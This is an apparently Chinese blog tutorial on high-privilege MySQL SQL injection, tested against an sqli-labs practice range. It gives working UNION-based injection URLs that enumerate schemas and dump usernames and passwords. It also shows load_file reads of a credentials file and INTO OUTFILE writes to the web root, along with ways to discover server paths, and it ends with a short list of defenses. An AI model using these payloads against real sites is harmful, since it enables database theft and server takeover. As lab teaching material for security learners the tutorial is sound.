SQL注入之高权限注入
SQL注入之高权限注入#
简介#
在常规WEB网站架构中可能存在不同的网站对应不同的数据库不同的管理用户,不同的用户拥有对数据库不同的操作权限,因此获取高权限用户可以帮助我们更好的进行测试
'''
1:网站A--->数据库A---->用户A
1:网站B--->数据库B---->用户B
1:网站C--->数据库C---->用户C
'''
作用#
- 跨库查询:跨越当前数据库对别的数据库进行查询
- 文件读写:利用注入对文件进行读取或者写入
- 存在魔术引号:编码/宽字节绕过
- 不存在魔术引号
靶场测试#
跨库注入#
判断字段数量#
# 根据测试此时order by为3的时候页面正常因此字段数量为3
http://10.1.1.20/sqilabs/Less-2/?id=2 order by 3
报错回显#
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1,2,3
查询所有数据库名称#
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1, group_concat(SCHEMA_NAMA),user() from information_schema.schemata
查询数据库对应的表名#
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'
查询表名对应的字段名#
# 指定数据库名称防止有太多数据库中含有users表
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1, group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schma='pikachu'
查询数据#
# 指定所需要查询数据库对应的表
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1,username,password from pikachu.users
文件读写#
读写方法#
- 读取操作:load_file
- 写入方法:into outfile/into dumpfile
load_file#
在MySQL中使用该函数需要满足如下条件
- 对目标文件拥有读取权限
- secure_file_priv
show global variables like "secure_file_priv";
# 修改
secure_file_privsudo vim /etc/mysql/my.cnf secure_file_priv=''
# 重启mysql服务
sudo systemctl restart mysqlshow global variables like '%secure_file_priv%';
# 读取文件
SELECT LOAD_FILE('/etc/hosts');
into outfile#
# 在/home/sean下书写一个文件hello.txt 内容为hello world
select "hello world" into outfile "/home/sean/hello.txt"
# 查看权限
SHOW VARIABLES LIKE 'datadir';
# 将写入文件修改上述目录
select "hello world" into outfile "/var/lib/mysql/hello.txt"
获取网站路径#
- 报错显示:输入错误代码使网站报错可能会显示出文件目录
- 遗留文件:一些网站需要测试可能会有一些测试文件测试文件会有网站路径(例如:phpinfo)
- 报错显示:知道网站使用的主题或者框架查询对应的文件路径
- 配置文件:通过读取网站配置文件获取相应的路径
- 爆破:例如一些常见的配置路径
读取/写入#
读取#
# 小白只是为了学习默认知道文件路径
http://10.1.1.20/sqilabs/Less-2/?id=-1 union select 1,load_file("/www/admin/localhost_80/wwwroot/sqilabs/sql-connections/db-creds.inc"),3
写入#
# 注入恶意代码使用--+注释源代码的limit 0,1
http://10.1.1.20/sqilabs/Less-2/?id=-1 union select 1,"hello world",3 into outfile "/www/hello.txt" --+
魔术引号#
魔术引号若是打开的话,所有的反斜线(\)、单引号(')、双引号(")、NULL 字符都会被自动加上一个反斜线进行转义
magic_quotes_gpc()
,当此值为1时,会对HTTP请求中的Get
,Post
,Cookie
单双引号和反斜线进行转义;反之则不会。该操作一般见于表单提交的数据库操作,若是值为0时,便用addslashes进行转义存入数据库中,取出时再用stripslashes函数把反斜线给去掉
安全防护#
防护方法#
- 魔术引号
- 内置函数:例如使用
int
函数对传入的id
进行判断不是整数就拒绝带入MySQL
查询 - 自定义select查询
- 安全防护软件:安全狗,宝塔等
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
2019-07-18 常用模块的内置方法